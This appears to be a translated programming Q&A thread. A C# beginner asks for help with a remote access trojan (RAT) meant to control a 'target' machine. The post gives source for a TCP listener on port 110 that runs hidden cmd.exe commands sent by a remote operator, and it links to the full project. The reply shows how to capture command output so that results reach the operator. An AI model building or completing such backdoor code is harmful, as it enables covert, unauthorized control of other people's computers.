我是C#
的新手,我正在尝试使用CMD编写一个控制目标(服务器)的RAT,但我遇到的问题是接收CMD日志。我的意思是例如当我输入" Dir"命令,该命令正在运行但我在客户端系统中没有收到Program Files - Users -......
等日志。
连接服务器的方式是通过Telnet连接和110端口(可以更改)
连接到服务器后,有2个选项可用:
Cmd(如果按下1,则CMD在目标中运行)
退出(很明显!)
当选择CMD时,您可以发送命令,但它不会显示任何内容,但您的命令将被发送和执行)。现在我上传我的文件(整个项目),这样你就可以看到源文件并可以修改它。
在最后,我想说我会想知道是否有人可以帮助我解决我所说的错误(如果有可能发送修改后的项目,看看它是如何工作的)
因为我是C#
的新手,如果您能描述您修改的内容以及必要的内容,我将不胜感激。
你在这里
http://www.mediafire.com/file/48pzlot8id9rmps/Rat.rar
更新:这是我的计划来源:
Process cmd = new Process();
TcpListener TL = new TcpListener(IPAddress.Any,110);
TL.Start();
Socket SK = TL.AcceptSocket();
NetworkStream NS = new NetworkStream(SK);
StreamReader SR = new StreamReader(NS);
string Line;
while (true)
{
Console.WriteLine("Select the Proper Operation");
Console.WriteLine("1.CMD");
Console.WriteLine("2.Exit");
Line = "";
Line = SR.ReadLine();
//if (Line.Contains("Hello"))
// {
// Console.WriteLine("Hello World!!!!");
// }
//if (Line.Contains("Shutdown"))
//{
// Process.Start("shutdown", "/s /t 300");
//}
if (Line.Contains("2"))
{
Environment.Exit(1);
}
if (Line.Contains("1"))
{
cmd.StartInfo.FileName = "cmd.exe";
cmd.StartInfo.RedirectStandardInput = true;
cmd.StartInfo.RedirectStandardOutput = true;
cmd.StartInfo.CreateNoWindow = true;
cmd.StartInfo.UseShellExecute = false;
cmd.Start();
Console.WriteLine("Type Your Command");
string F;
F = SR.ReadLine();
cmd.StandardInput.WriteLine(F);
cmd.StandardInput.Flush();
cmd.StandardInput.Close();
cmd.WaitForExit();
Console.WriteLine(cmd.StandardOutput.ReadToEnd());
答案 0 :(得分:0)
我不会向您发送完成的结果,但希望能找到解决此问题的解决方案。您可以通过附加到OutputDataReceived事件来访问命令窗口的输出:
...
if (Line.Contains("1"))
{
cmd.StartInfo.FileName = "cmd.exe";
cmd.StartInfo.RedirectStandardInput = true;
cmd.StartInfo.RedirectStandardOutput = true;
cmd.StartInfo.CreateNoWindow = true;
cmd.StartInfo.UseShellExecute = false;
cmd.Start();
Console.WriteLine("Type Your Command");
string F;
F = SR.ReadLine();
cmd.StandardInput.WriteLine(F);
cmd.StandardInput.Flush();
cmd.StandardInput.Close();
cmd.OutputDataReceived += delegate(object o, DataReceivedEventArgs eventArgs)
{
var outputLine = eventArgs.Data;
...
}
cmd.WaitForExit();
...